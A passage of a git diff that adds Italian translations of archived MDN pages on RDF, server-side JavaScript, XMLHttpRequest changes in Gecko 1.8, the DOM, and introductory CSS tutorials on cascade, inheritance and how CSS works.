+</blockquote>
+<p>Ma cosa vuol dire <i>effettivamente</i>? Per uno sviluppatore Mozilla, significa che il modello dati RDF (il "grafo") può essere usato come meccanismo per integrare ed organizzare risorse Internet.
+</p><p>Vediamo un esempio: <i>segnalibri</i>. Comunemente, molti browser web permettono l'organizzazione dei propri segnalibri in maniera gerarchica all'interno di <i>cartelle</i> (<i>folders</i>). Ogni segnalibro è un <i>puntatore</i> ad una pagina web chiamata <b>URI</b> (<b>U</b>niform <b>R</b>esource <b>I</b>dentifier).
+</p><p>Ma una pagina web è solo uno dei tipi di risorse Internet. Esistono tonnellate di tipi, inclusi messaggi email, articoli UseNet (o gli interi newsgroup), e risultati di ricerca del proprio motore preferito, giusto per dirne alcuni. Fondamentalmente, non c'è ragione per cui non possano essere trattati come "segnalibri" anche questi, raggruppandoli in cartelle a proprio piacimento, o creando cartelle "furbe" che, una volta aperte, generino dinamicamente il loro contenuto eseguendo ricerche da voi setssi definite.
+</p><p>Ed un "segnalibro" può veramente avere proprietà arbitrarie asssociate ad esso: su potrebbe voolere inventare un proprio schema di "classificazione" per un segnalibro <i>a la</i> Macintosh con i suoi codici colore "hot", "warm", "cool". Oppure si potrebbe voler collegare un segnalibro ad un altro, o mantenerlo in molteplici cartelle nello stesso momento.
+</p><p>Il grafo RDF fornisce un modello dati perfetto sul quale costruire un servizio di bookmarking "universale" come descritto sopra: il grafo può contenere puntatori a risorse arbitrarie e può raggrupparli pressoché in ogni maniera immaginabile.
+</p><p>Ma aspettate, c'è dell'altro...
+</p>
+<blockquote>
+<b>Secondo, RDF è una sintassi di serializzazione (serialization syntax). Questa sintassi permette al modello di grafo la comunicazione tra gli "agenti".</b>
+</blockquote>
+<p>Okay, cosa diamine significa "questo"? Fondamentalmente, significa che parti del modello dati RDF possono essere comunicate tra nodi della rete, e che il contenuto del grafo può cambiare dinamicamente mano a mano che le informazioni arrivano da un servizio remoto
+</p><p>Torniamo indietro all'esempio dei segnalibri. Diciamo che una delle "cartelle" segnalibro è in realtà un puntatore alla mia casella email. Quando viene aperta la cartella. voila! Tutti i messaggi ricevuti durante la notte appaiono.
+</p><p>Ma come avviene tutto questo? La cartella inbox in realtà è un puntatore ad una risorsa Internet che contiene un altro RDF che estende il grafo. Questa "risorsa Internet" è un URI che si riferisce ad uno script CGI (diciamo, &lt;tt&gt;<a class=" external" href="http://www.mozilla.org/smart-mail/get-mail.cgi?user=waterson&amp;folder=inbox" rel="freelink">http://www.mozilla.org/smart-mail/ge...n&amp;folder=inbox</a>&lt;/tt&gt;). Lo script genera un <i>RDF serializzato</i>, che principalmente è un modo di formattare un grafo in <a href="it/XML">XML</a>:
+</p>
+<pre class="eval">&lt;rdf:RDF
+    xmlns:rdf="<a class=" external" href="http://www.w3.org/TR/WD-rdf-syntax#" rel="freelink">http://www.w3.org/TR/WD-rdf-syntax#</a>"
+    xmlns:sm="<a class=" external" href="http://www.mozilla.org/smart-mail/schema#" rel="freelink">http://www.mozilla.org/smart-mail/schema#</a>"&gt;
+  &lt;rdf:Description
+    about="<a class=" external" href="http://www.mozilla.org/smart-mail/get-mail.cgi?user=waterson&amp;folder=inbox" rel="freelink">http://www.mozilla.org/smart-mail/ge...n&amp;folder=inbox</a>"&gt;
+    &lt;sm:message id="4025293"&gt;
+       &lt;sm:recipient&gt;
+         Chris Waterson "<a class=" link-mailto" href="mailto:waterson@netscape.com" rel="freelink">waterson@netscape.com</a>"
+       &lt;/sm:recipient&gt;
+       &lt;sm:sender&gt;
+         Aunt Helga "<a class=" link-mailto" href="mailto:helga@netcenter.net" rel="freelink">helga@netcenter.net</a>"
+       &lt;/sm:sender&gt;
+       &lt;sm:received-by&gt;x-wing.mcom.com&lt;/sm:received-by&gt;
+       &lt;sm:subject&gt;Grandi novità per Yam Soup!&lt;/sm:subject&gt;
+       &lt;sm:body&gt;
+         <a class=" external" href="http://www.mozilla.org/smart-mail/get-body.cgi?id=4025293" rel="freelink">http://www.mozilla.org/smart-mail/ge...cgi?id=4025293</a>
+       &lt;/sm:body&gt;
+    &lt;/sm:message&gt;
+    &lt;sm:message id="4025294"&gt;
+       &lt;sm:recipient&gt;
+         Chris Waterson "<a class=" link-mailto" href="mailto:waterson@netscape.com" rel="freelink">waterson@netscape.com</a>"
+       &lt;/sm:recipient&gt;
+       &lt;sm:sender&gt;
+         Sarah Waterson "<a class=" link-mailto" href="mailto:waterson.2@postbox.acs.ohio-state.edu" rel="freelink">waterson.2@postbox.acs.ohio-state.edu</a>"
+       &lt;/sm:sender&gt;
+       &lt;sm:received-by&gt;x-wing.mcom.com&lt;/sm:received-by&gt;
+       &lt;sm:subject&gt;Abbiamo vinto il nostro gioco&lt;/sm:subject&gt;
+       &lt;sm:body&gt;
+         <a class=" external" href="http://www.mozilla.org/smart-mail/get-body.cgi?id=4025294" rel="freelink">http://www.mozilla.org/smart-mail/ge...cgi?id=4025294</a>
+       &lt;/sm:body&gt;
+    &lt;/sm:message&gt;
+  &lt;/rdf:Description&gt;
+&lt;/rdf:RDF&gt;
+</pre>
+<p>Dopo aver ricevuto la mostruosità sopra mostrata, il motore RDF modella il documento nel luogo appropriato, mentre l'albero di controllo che attualmente implementa l'interfaccia ai segnalibri riceve la notifica per disegnare nuove icone per la zuppa Yam (Yam Soup) da Zia Helga.
+</p><p>Questo è <i>esattamente</i> il modo in cui funziona <a class="external" href="http://www.mozilla.org/mailnews/">SmartMail</a>.
+</p><p>Contatti:
+<a class="link-mailto" href="mailto:waterson@netscape.com">Chris Waterson</a> <a class=" link-mailto" href="mailto:(waterson@netscape.com)" rel="freelink">(waterson@netscape.com)</a>
+</p>
+<div class="originaldocinfo">
+<h3 id="Original_Document_Information" name="Original_Document_Information">Original Document Information</h3>
+<ul><li> Author(s): <a class="link-mailto" href="mailto:waterson@netscape.com">Chris Waterson</a>
+</li><li> Last Updated Date: November 19, 1998
+</li><li> Copyright Information: Copyright (C) <a class="link-mailto" href="mailto:waterson@netscape.com">Chris Waterson</a>
+</li></ul>
+</div>
+<p><span class="comment">Interwiki Language Links</span>
+</p>{{ languages( { "ko": "ko/RDF_in_Fifty_Words_or_Less", "en": "en/RDF_in_Fifty_Words_or_Less" } ) }}
diff --git a/files/it/archive/web/index.html b/files/it/archive/web/index.html
new file mode 100644
index 0000000000..6f60d315ff
--- /dev/null
+++ b/files/it/archive/web/index.html
@@ -0,0 +1,12 @@
+---
+title: Archived open Web documentation
+slug: Archive/Web
+tags:
+  - Archived
+  - NeedsTranslation
+  - TopicStub
+  - Web
+translation_of: Archive/Web
+---
+<p>The documentation listed below is archived, obsolete material about open Web topics.</p>
+<p>{{SubpagesWithSummaries}}</p>
diff --git a/files/it/archive/web/server-side_javascript/index.html b/files/it/archive/web/server-side_javascript/index.html
new file mode 100644
index 0000000000..8f69b4481f
--- /dev/null
+++ b/files/it/archive/web/server-side_javascript/index.html
@@ -0,0 +1,14 @@
+---
+title: Server-Side JavaScript
+slug: Archive/Web/Server-Side_JavaScript
+translation_of: Archive/Web/Server-Side_JavaScript
+---
+<p>Vi propongo la mia idea: usare un solo linguaggio per scrivere intere Web Apps, lo stesso linguaggio che milioni di persone usano già tutti i giorni. </p>
+
+<p>Sembra scontato, ma per almeno i primi dodici anni dell'evoluzione del Web, gli sviluppatori hanno usato parecchi linguaggi diversi sul server che erano disponibili sul browser, il che ha portato a uno disgregamento di gruppi, un know-how inconsistente e un mucchio di esercitazioni di string manipulation server-side per fare in modo di generare pagine HTML o AJAX.</p>
+
+<p><span style="line-height: 1.572;">La semplicità nell'usare JavaScript lato server faceva parte della vision che Netscape aveva ai tempi di Netscape LiveWire. Ma allora i server da 350 MHz erano il meglio che si poteva trovare e Mozilla ancora non emergeva come tecnologia Web poichè ancora ancorata a Netscape.  Oggi, i cicli computazionali sono aumentati di 10 volte e grazie al lavoro di Mozilla su </span><a class="internal" href="/en/Rhino" style="line-height: 1.572;" title="En/Rhino">Rhino </a>(interpreter JavaScript di Java) e <a class="internal" href="/en/SpiderMonkey" style="line-height: 1.572;" title="En/SpiderMonkey">SpiderMonkey </a><span style="line-height: 1.572;">(interprete JavaScript di C) e </span><a class="internal" href="/en/JavaScript" style="line-height: 1.572;" title="En/JavaScript">JavaScript </a>stesso, abbiamo a disposizione basi molto solide per usare JavaScript in maniera straordinaria ed utile su lato server, con performance della stessa gamma di ambienti di sviluppo lato server come PHP e Ruby on Rails. </p>
+
+<p><span style="line-height: 1.572;">Adesso grazie a </span><a class="external" href="https://brendaneich.com/2008/08/tracemonkey-javascript-lightspeed/" style="line-height: 1.572;" title="http://weblogs.mozillazine.org/roadmap/archives/2008/08/tracemonkey_javascript_lightsp.html">TraceMonkey</a><span style="line-height: 1.572;"> , JavaScript(sia lato client che server) vede un aumento della velocità di 20 e 40 volte, secondo quanto afferma Brendan Eich, CTO di Mozilla e creatore di JavaScript. JavaScript lato server è un altro modo in cui, come afferma in questo articolo Eich : "Mozilla vuole che la gente pensi a JavaScript come un linguaggio di uso più generico e che mostri quanto possa essere una piattaforma per creare intere applicazioni.</span></p>
+
+<p>Oggi, molti vendors stanno incorporando Mozilla Rhino o Mozilla SpiderMonkey nei Web server. Alcuni, come ad esempio Aptana che ha il <a class="external" href="http://www.aptana.com/jaxer" title="http://www.aptana.com/jaxer">Jaxer server</a>(open source), ha incorporato l'intero motore Mozilla(che include SpiderMonkey) all'interno di un Web server per attivare AJAX lato server e gli accessi al DOM lato server oltre all'esecuzione di JavaScript su lato server.</p>
diff --git a/files/it/cambiamenti_di_xmlhttprequest_in_gecko1.8/index.html b/files/it/cambiamenti_di_xmlhttprequest_in_gecko1.8/index.html
new file mode 100644
index 0000000000..5fa5eeedcd
--- /dev/null
+++ b/files/it/cambiamenti_di_xmlhttprequest_in_gecko1.8/index.html
@@ -0,0 +1,17 @@
+---
+title: Cambiamenti di XMLHttpRequest in Gecko1.8
+slug: Cambiamenti_di_XMLHttpRequest_in_Gecko1.8
+tags:
+  - Estensioni
+  - Tutte_le_categorie
+  - XMLHttpRequest
+translation_of: Mozilla/XMLHttpRequest_changes_for_Gecko_1.8
+---
+<p>Questo documento descrive alcuni dei cambiamento che sono stati fatti all'implementazione di <a href="it/XMLHttpRequest">XMLHttpRequest</a> di <a href="it/Gecko">Gecko</a> dalla versione 1.7 (che era usata per esempio da Firefox 1.0) alla 1.8. Queste modifiche si applicano solo alle estensioni e alle applicazioni in XUL. Non si applicano invece alle pagine web.
+</p>
+<h3 id="Cambiamenti_a_XMLHttpRequest.send" name="Cambiamenti_a_XMLHttpRequest.send"> Cambiamenti a XMLHttpRequest.send </h3>
+<p>Se si passa un'istanza di <a href="it/NsIInputStream">nsIInputStream</a> al metodo <code>send</code>, non bisogna più includere le intestazioni &lt;tt&gt;Content-Length&lt;/tt&gt; e &lt;tt&gt;Content-Type&lt;/tt&gt; all'inizio dello stream. Invece, l'intestazione &lt;tt&gt;Content-Length&lt;/tt&gt; verrà dedotta dalla lunghezza dello stream e &lt;tt&gt;Content-Type&lt;/tt&gt; sarà specificato manualmente chiamando il metodo <code>setRequestHeader</code>. Queste modifiche sono pienamente documentate in <a class="external" href="http://lxr.mozilla.org/mozilla1.8/source/extensions/xmlextras/base/public/nsIXMLHttpRequest.idl#213">nsIXMLHttpRequest.idl</a>.
+</p>
+<h3 id="Cambiamenti_a_XMLHttpRequest.onreadystatechange" name="Cambiamenti_a_XMLHttpRequest.onreadystatechange"> Cambiamenti a XMLHttpRequest.onreadystatechange </h3>
+<p>Il tipo di questo attributo ora è <code>nsIOnReadyStateChangeHandler</code>, non più <code>nsIOnReadystatechangehandler</code> (a S di State ora è maiuscola).
+</p>{{ languages( { "en": "en/XMLHttpRequest_changes_for_Gecko1.8" } ) }}
diff --git a/files/it/circa_il_document_object_model/index.html b/files/it/circa_il_document_object_model/index.html
new file mode 100644
index 0000000000..733960449c
--- /dev/null
+++ b/files/it/circa_il_document_object_model/index.html
@@ -0,0 +1,17 @@
+---
+title: Circa il Document Object Model
+slug: Circa_il_Document_Object_Model
+tags:
+  - DOM
+  - Tutte_le_categorie
+translation_of: Web/API/Document_Object_Model
+---
+<h3 id="Cos.27.C3.A8_il_DOM.3F" name="Cos.27.C3.A8_il_DOM.3F">Cos'è il DOM?</h3>
+<p>Il Modello a Oggetti del Documento è una API per i documenti <a href="it/HTML">HTML</a> e <a href="it/XML">XML</a>. Esso fornisce una rappresentazione strutturale del documento, dando la possibilità di modificarne il contenuto e la presentazione visiva. In poche parole, connette le pagine web agli script o ai linguaggi di programmazione.</p>
+<p>Tutte le proprietà, i metodi e gli eventi disponibili per il programmatore per creare e manipolare le pagine web sono organizzate in <a href="it/Gecko_DOM_Reference">oggetti</a> (ad esempio, l'oggetto document rappresenta il documento stesso, l'oggetto table rappresenta l'elemento tabella e così via). Questi oggetti sono accessibili tramite linguaggi di scripting.</p>
+<p>Il linguaggio più usato in congiunzione con il DOM è <a href="it/JavaScript">JavaScript</a>. Precisamente, il codice viene scritto in JavaScript, ma usa la rappresentazione creata con il DOM per accedere alla pagina web e ai suoi elementi. Ad ogni modo, il DOM é stato pensato e implementato come indipendente da qualsiasi linguaggio di programmazione, al fine di rendere la rappresentazione strutturale del documento disponibile a chiunque, attraverso una singola conforme API. Sebbene in questo sito poniamo l'attenzione su JavaScript, le implementazioni del DOM possono essere fatte da <a class="external" href="http://www.w3.org/DOM/Bindings">qualunque linguaggio</a>.</p>
+<p>Il <a class="external" href="http://www.w3.org/">Consorzio per il World Wide Web</a> stabilisce uno <a class="external" href="http://www.w3.org/DOM/">standard per il DOM</a>, chiamato W3C DOM. Questo dovrebbe, ora che i più importanti browser lo implementano, permettere la creazione di potenti applicazioni cross-browser.</p>
+<h3 id="Perch.C3.A8_.C3.A8_importante_il_supporto_al_DOM_in_Mozilla.3F" name="Perch.C3.A8_.C3.A8_importante_il_supporto_al_DOM_in_Mozilla.3F">Perchè è importante il supporto al DOM in Mozilla?</h3>
+<p>"HTML Dinamico" (<a href="it/DHTML">DHTML</a>) è un termine usato da alcuni fornitori per descrivere la combinazione di <a href="it/HTML">HTML</a>, fogli di stile e script che insieme permettono di animare i documenti. Il W3C DOM Working Group è al lavoro per assicurare che le soluzioni interoperabili e indipendenti dal linguaggio siano concordate da tutti (vedi anche la <a class="external" href="http://www.w3.org/DOM/faq.html">FAQ del W3C</a>. Dal momento che Mozilla si propone come piattaforma per il web, il supporto per il DOM diventa una delle caratteristiche più richieste, ed è necessaria a Mozilla se vuole essere una possibile alternativa agli altri browser.</p>
+<p>Ancora più importante è il fatto che l'interfaccia utente di Mozilla (e quindi anche di Firefox e Thunderbird) è stata creata usando <a href="it/XUL">XUL</a> - un linguaggio per l'interfaccia utente basato sulle regole di <a href="it/XML">XML</a> . Perciò Mozilla usa il DOM per <a href="it/Modifiche_dinamiche_all'interfaccia_utente_basata_su_XUL">manipolare la sua stessa UI</a>.</p>
+<p> </p>
diff --git a/files/it/conoscere_i_css/cascata_ed_ereditarietà/index.html b/files/it/conoscere_i_css/cascata_ed_ereditarietà/index.html
new file mode 100644
index 0000000000..4826f292a1
--- /dev/null
+++ b/files/it/conoscere_i_css/cascata_ed_ereditarietà/index.html
@@ -0,0 +1,86 @@
+---
+title: Cascata ed ereditarietà
+slug: Conoscere_i_CSS/Cascata_ed_ereditarietà
+tags:
+  - Conoscere_i_CSS
+translation_of: Learn/CSS/Building_blocks/Cascade_and_inheritance
+---
+<p>
+</p><p>Questa pagina delinea come diversi fogli di stile interagiscano in cascata e come gli elementi ereditino lo stile dai loro elementi genitori.
+</p><p>Verranno aggiunte delle informazioni al foglio di stile di esempio, modificando lo stile di molte parti del documento con una sola mossa.
+</p><p><a class="external" href="http://www.example.com">link title</a>== Headline text ==== Informazioni: Cascata ed ereditarietà ==
+Lo stile finale di un elemento può essere definito in molti luoghi diversi, che possono intergire fra loro in modo complesso.
+Questa complessa interazione rende i CSS molto potenti, ma può anche rendere una correzione confusa e difficile.
+</p><p>Le tre sorgenti principali di informazioni sullo stile che generano la cascata sono:
+</p>
+<ul><li>Lo stile predefinito del browser per il linguaggio di marcatura
+</li><li>Lo stile specficato dall'utente che sta leggendo il documento
+</li><li>Lo stile collegato al documento dal suo autore
+</li></ul>
+<p>Lo stile dell'utente modifica lo stile predefinito del browser. Lo stile dell'autore del documento modifica ulteriormente lo stile. In questa guida tu sei l'autore del documento di esempio, e verrà considerato solo il foglio di stile dell'autore.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4;">
+<caption>Esempio
+Quando leggi questo articolo della guida nel tuo browser Mozilla, parte dello stile che vedi proviene da quello predefinito del browser per l'HTML. Un altra parte potrebbe essere definita dalle impostazioni del browser nel menu Strumenti&gt;Opzioni, o dal file <code>userContent.css</code> nel tuo profilo del browser. Un'altra parte deriva infine dal foglio di stile associato al documento dal server del wiki.
+</caption><tbody><tr><td></td></tr></tbody></table>
+<p><br>
+Quando apri il documento di esempio con il browser, gli elementi STRONG sono più marcati del resto del testo. Questo effetto deriva dallo stile predefinito del browser per l'HTML.
+</p><p>Gli elementi STRONG sono rossi. Questo è stato definto dal tuo foglio di stile di esempio.
+</p><p>Gli elementi STRONG inoltre ereditano gran parte dello stile dell'elemento P, poiché ne sono figli. Allo stesso modo l'elemento P eredita gran parte dello stile dall'elemento BODY.
+</p><p>Negi stili in cascata, il foglio di stile dell'autore ha la precedenza, quindi viene il foglio dell'utente ed infine quello predefinito del browser.
+</p><p>Per gli stili ereditati, lo stile proprio del nodo figlio ha la precedenza su quello ereditato dal genitore.
+</p><p>Questo non è l'unico ordine di precedenze che viene applicato, ma lo riprenderemo più avanti nella guida.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #f4f4f4;">
+<caption>Di più...
+</caption><tbody><tr>
+<td> I CSS forniscono un modo all'utente per prevalere sullo stile definito dall'autore del documento, utilizzando la parola chiave <code>!important</code>.
+<p>Questo significa anche che l'autore del documento non può prevedere esattamente cosa vedrà l'utente.
+</p><p>Per consocere tutti i dettagli circa la cascata e l'ereditarietà, guarda la sezione relativa a <a class="external" href="http://www.w3.org/TR/CSS21/cascade.html">"Assegnare valori alle proprietà, Cascata ed ereditarietà"</a>(EN) nelle specifiche dei CSS.
+</p>
+</td></tr></tbody></table>
+<h3 id="Azione:_Utilizzare_l.27ereditariet.C3.A0" name="Azione:_Utilizzare_l.27ereditariet.C3.A0"> Azione: Utilizzare l'ereditarietà </h3>
+<p>Modifica il tuo file CSS di esempio.
+</p><p>Aggiungi la seguente linea facendo copia e incolla.
+Non è molto importante dove viene incollata. In ogni caso è più logico aggiungerla all'inizio perché nel documento l'elemento P è genitore dell'elemento STRONG:
+</p>
+<pre>p {color: blue; text-decoration: underline;}
+</pre>
+<p>Ora aggiorna il browser e nota i cambiamenti al docuemnto di esempio.
+La sottolineatura influenza tutto il testo contenuto nel paragrafo, incluse le lettere iniziali.
+L'elemento STRON ha ereditato lo stile sottolineato dall'elemento genitore P.
+</p><p>Ma gli elementi STRONG continuano ad essere di colore rosso. Questo perché il colore rosso è lo stile proprio dell'elemento, che prevale sull'elemento blu dell'elemento P.
+</p>
+<table>
+<tbody><tr>
+<td>
+<table style="border: 2px outset #36b; padding: 1em; margin-right: 2em;">
+<caption>Prima
+</caption><tbody><tr>
+<td><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets
+</td></tr></tbody></table>
+</td><td>
+<table style="border: 2px outset #36b; padding: 1em;">
+<caption>Dopo
+</caption><tbody><tr>
+<td style="color: blue; text-decoration: underline;"><strong style="color: red;">C</strong>ascading <strong style="color: red;">S</strong>tyle <strong style="color: red;">S</strong>heets
+</td></tr></tbody></table>
+</td></tr></tbody></table>
+<p><br>
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4;">
+<caption>Esercizi
+</caption><tbody><tr>
+<td> Cambia il foglio di stile per fare in modo che solo le lettere rosse risultino sottolineate:
+<table style="border: 2px outset #36b; padding: 1em;">
+<tbody><tr>
+<td style="color: blue;"><strong style="color: red; text-decoration: underline;">C</strong>ascading <strong style="color: red; text-decoration: underline;">S</strong>tyle <strong style="color: red; text-decoration: underline;">S</strong>heets
+</td></tr></tbody></table>
+</td></tr></tbody></table>
+<p><br>
+</p>
+<h4 id="Cos.27altro.3F" name="Cos.27altro.3F"> Cos'altro? </h4>
+<p>Se hai avuto difficoltà a comprendere questa pagina, o sei hai dei commenti a proposito, utilizza questa pagina di <a>Discussione</a>.
+</p><p>Il foglio di stile d'esempio specifica lo stile per i tag <code>P</code> e <code>STRONG</code> modificandone lo stile per tutto il documento. La prossima pagina spiega come specificare lo stile in modo più selettivo:
+<b><a href="it/Conoscere_i_CSS/I_Selettori">I Selettori</a></b>
+</p>{{ languages( { "en": "en/CSS/Getting_Started/Cascading_and_inheritance", "fr": "fr/CSS/Premiers_pas/Cascade_et_h\u00e9ritage", "ja": "ja/CSS/Getting_Started/Cascading_and_inheritance", "pl": "pl/CSS/Na_pocz\u0105tek/Kaskadowo\u015b\u0107_i_dziedziczenie", "pt": "pt/CSS/Como_come\u00e7ar/Cascata_e_heran\u00e7a" } ) }}
diff --git a/files/it/conoscere_i_css/che_cosa_sono_i_css/index.html b/files/it/conoscere_i_css/che_cosa_sono_i_css/index.html
new file mode 100644
index 0000000000..f85f4b3db0
--- /dev/null
+++ b/files/it/conoscere_i_css/che_cosa_sono_i_css/index.html
@@ -0,0 +1,113 @@
+---
+title: Cosa è CSS
+slug: Conoscere_i_CSS/Che_cosa_sono_i_CSS
+translation_of: Learn/CSS/First_steps/How_CSS_works
+---
+<p>{{ CSSTutorialTOC() }}</p>
+
+<p>{{previousPage("/it/docs/CSS/Getting_Started", "Getting started")}} Questa è la prima sezione dell'esercitazione "Iniziare (Esercitazione di CSS)" che spiega cosa è CSS. Si creerà un semplice documento su cui lavorare nelle pagine seguenti</p>
+
+<h3 id="Informazioni:_Che_cosa_sono_i_CSS.3F" name="Informazioni:_Che_cosa_sono_i_CSS.3F">Informazione: Cosa è CSS?</h3>
+
+<p>Cascading Style Sheets (<dfn><abbr title="Cascading Style Sheets">CSS</abbr></dfn>) è un linguaggio per specificare come i documenti sono presentati all'utente.</p>
+
+<p>Un <em>documento</em> è un insieme di informazioni strutturate utilizzando un <em>linguaggio a marcatori</em>.</p>
+
+<div class="tuto_example">
+<div class="tuto_type">Esempi</div>
+
+<p>Una pagine web come quella che si legge è un documento.<br>
+ Le informazioni che si vedono in una pagina web sono strutturare utilizzando il linguaggio a marcatori HTML  (HyperText Markup Language).<br>
+ Le finestre di dialogo, anche chiamate finestre modali, di una applicazione sono spesso documenti.<br>
+ Tali finestre modali potrebbero essere strutturate utilizzano un linguaggio a marcatori, come XUL. E' questo il caso frequente delle applicazioni di Mozilla, ma non è il caso comune.</p>
+</div>
+
+<p>In questa esercitazione, i riquadri titolati <strong>Maggiori dettagli</strong> come quello seguente contengono informazioni facoltative. Se hai fretta di andare avanti con l'esercitazione potresti saltarli, e forse tornare a leggerli più tardi. Diversamente leggerli quando li incontri, e forse seguire i link per imparare di più.</p>
+
+<div class="tuto_details">
+<div class="tuto_type">Maggiori dettagli</div>
+
+<p>Un documento non è un file. Potrebbe o non potrebbe essere memorizzato in un file.</p>
+
+<p>Per esempio, il documento che stai leggendo non è memorizzaotin un file. Quando il browser web richiede questa pagina, il server interroga un database e genera il documento, traendone le sue parti da molti file. D'altra parte, in questa esercitazione si lavora con documenti che sono memorizzati nei file.</p>
+
+<p>Per maggiori informazioni sui documenti e i linguaggi a amrcatori, si vedano altre parti di questo sito web—per esempio:</p>
+
+<table style="background-color: inherit; margin-left: 2em;">
+ <tbody>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en/HTML" title="en/HTML">HTML</a></td>
+   <td>per le pagine web</td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en/XML" title="en/XML">XML</a></td>
+   <td>per i documenti strutturati in generale</td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en/SVG" title="en/SVG">SVG</a></td>
+   <td>per la grafica</td>
+  </tr>
+  <tr>
+   <td><a href="https://developer.mozilla.org/en/XUL" title="en/XUL">XUL</a></td>
+   <td>per le interfacce utente in Mozillafor user interfaces in Mozilla</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Nella Parte II di questa esercitazione si vedranno esempi di questi linguaggi a marcatore.</p>
+</div>
+
+<p><em>Presentare </em>un documento ad un utente significa convertirlo in una forma utilizzabile dall'essere umano. Browser, come FireFox, Chrome o Internet Explorer, sono progettati per presentare visivamente i documenti — per esempio, sullo schermo di un computer, un proiettore o una stampante.</p>
+
+<table style="background-color: #f4f4f4; border: 1px solid #3366bb; margin-bottom: 1em; padding: 1em;">
+ <caption> </caption>
+ <tbody>
+  <tr>
+   <td>
+    <div class="tuto_type">Maggiori dettagli</div>
+    CSS non è solo per i browser, e non solo per presentazioni visive. Nella terminologia fomale di CSS, il programma che presenta un documento a un utente è chiamato<em>user agent</em> (UA). Un browser è solo un tipo di UA. Comunque, nella Parte I dell'esercitazione si lavora esclusivamente con CSS in un browser.
+
+    <p>Per qualche definizione formale della terminologia relativa a CSS, vedere le <a class="external" href="http://www.w3.org/TR/CSS21/conform.html#q1">Definizioni</a> nelle specifiche CSS.</p>
+   </td>
+  </tr>
+ </tbody>
+</table>
+
+<h3 id="Azione:_Creare_un_documento" name="Azione:_Creare_un_documento">Azione: Creare un documento</h3>
+
+<p>Utilizzare il proprio computer per creare una nuova cartella ed un nuovo file di testo al suo interno. Il file conterrà il tuo documento.<br>
+ Copia ed incolla il codice HTML mostrato sotto. Salva il file utilizzando il nome <code>doc1.html</code></p>
+
+<pre class="brush: html">&lt;!DOCTYPE html&gt;
+&lt;html&gt;
+  &lt;head&gt;
+  &lt;meta charset="UTF-8"&gt;
+  &lt;title&gt;Sample document&lt;/title&gt;
+  &lt;/head&gt;
+
+  &lt;body&gt;
+    &lt;p&gt;
+      &lt;strong&gt;C&lt;/strong&gt;ascading
+      &lt;strong&gt;S&lt;/strong&gt;tyle
+      &lt;strong&gt;S&lt;/strong&gt;heets
+    &lt;/p&gt;
+  &lt;/body&gt;
+&lt;/html&gt;</pre>
+
+<p>Nel proprio browser, aprire una nuova scheda o una nuova finestra, e aprirvi il file.</p>
+
+<p>Si dovrebbe vedere il testo con le lettere iniziali in grassetto, come questo:</p>
+
+<table style="border: 2px outset #3366bb; padding: 1em;">
+ <tbody>
+  <tr>
+   <td><strong>C</strong>ascading <strong>S</strong>tyle <strong>S</strong>heets</td>
+  </tr>
+ </tbody>
+</table>
+
+<p>Quello che vedi nel tuo browser potrebbe non apparire esattametne uguale a questo, a causa delle impostazioni utilizzate dal browser e da questo wiki. Se ci sono differenze di font, spaziatura e colori, non ha importanza.</p>
+
+<h4 id="Cos.27altro.3F" name="Cos.27altro.3F">E poi?</h4>
+
+<p>{{nextPage("/en-US/docs/CSS/Getting_Started/Why_use_CSS", "Why use CSS?")}}Il documento ancora non utilizza CSS. Nella <a href="https://developer.mozilla.org/en-US/docs/CSS/Getting_Started/Why_use_CSS" title="/en-US/docs/CSS/Getting_Started/Why_use_CSS">prossima sezione</a> si utilizzerà CSS per specificare lo stile.</p>
diff --git a/files/it/conoscere_i_css/come_funzionano_i_css/index.html b/files/it/conoscere_i_css/come_funzionano_i_css/index.html
new file mode 100644
index 0000000000..2c3719a7e7
--- /dev/null
+++ b/files/it/conoscere_i_css/come_funzionano_i_css/index.html
@@ -0,0 +1,117 @@
+---
+title: Come funzionano i CSS
+slug: Conoscere_i_CSS/Come_funzionano_i_CSS
+tags:
+  - Conoscere_i_CSS
+  - DOM
+  - Tutte_le_categorie
+translation_of: Learn/CSS/First_steps/How_CSS_works
+---
+<p>
+</p><p>Questa pagina spiega il funzionamento dei CSS nel browser.
+Analizzeremo il documento di esempio, rivelando i dettagli del suo stile.
+</p>
+<h3 id="Informazioni:_Come_funzionano_i_CSS" name="Informazioni:_Come_funzionano_i_CSS"> Informazioni: Come funzionano i CSS </h3>
+<p>Quando Mozilla visualizza un documento, deve combinare il suo contenuto con le informazioni sullo stile. Quindi elabora il documento in due fasi:
+</p>
+<ul><li>Nella prima, Mozilla converte il linguaggio di markup e i CSS in un <i><a href="it/DOM">DOM</a></i> (Document Object Model). Il DOM rappresenta il documento nella memoria del computer. Combina il contenuto del documento con il suo stile.
+</li></ul>
+<ul><li>Nella seconda fase Mozilla visualizza il DOM.
+</li></ul>
+<p>Un linguaggio di marcatura utilizza i tag per definire la struttura del documento. Un tag può anche essere un contenitore, con altri tag tra il suo inizio e la sua fine.
+</p><p>Un DOM ha una struttura ad albero. Ogni tag e ogni blocco di testo nel linguaggio di marcatura diviene un <i>nodo</i> della struttura ad albero. I nodi del DOM non sono contenitori. Possono invece essere genitori (parent) dei nodi figli (child).
+</p><p>I nodi corrispondenti ai tag sono consociuti anche come <i>elementi</i>.
+</p>
+<table style="border: 1px solid #36b; padding: 1em; background-color: #fffff4; margin-bottom: 1em;">
+<caption>Esempio
+</caption><tbody><tr>
+<td> Nel documento di esempio il tag <code>&lt;p&gt;</code> e il suo tag di chiusura <code>&lt;/p&gt;</code> creano un contenitore:
+<div style="width: 24em;">
+<pre class="eval">&lt;p&gt;
+  &lt;strong&gt;C&lt;/strong&gt;ascading
+  &lt;strong&gt;S&lt;/strong&gt;tyle
+  &lt;strong&gt;S&lt;/strong&gt;heets
+&lt;/p&gt;
+</pre>
+</div>
+<p>Nel DOM, il nodo corrispondente P è un genitore.
+I suoi figli sono i nodi <small>STRONG</small> e i nodi di testo.
+I nodi <small>STRONG</small> sono a loro volta genitori dei nodi di testo (che ne sono quindi figli):
+</p>
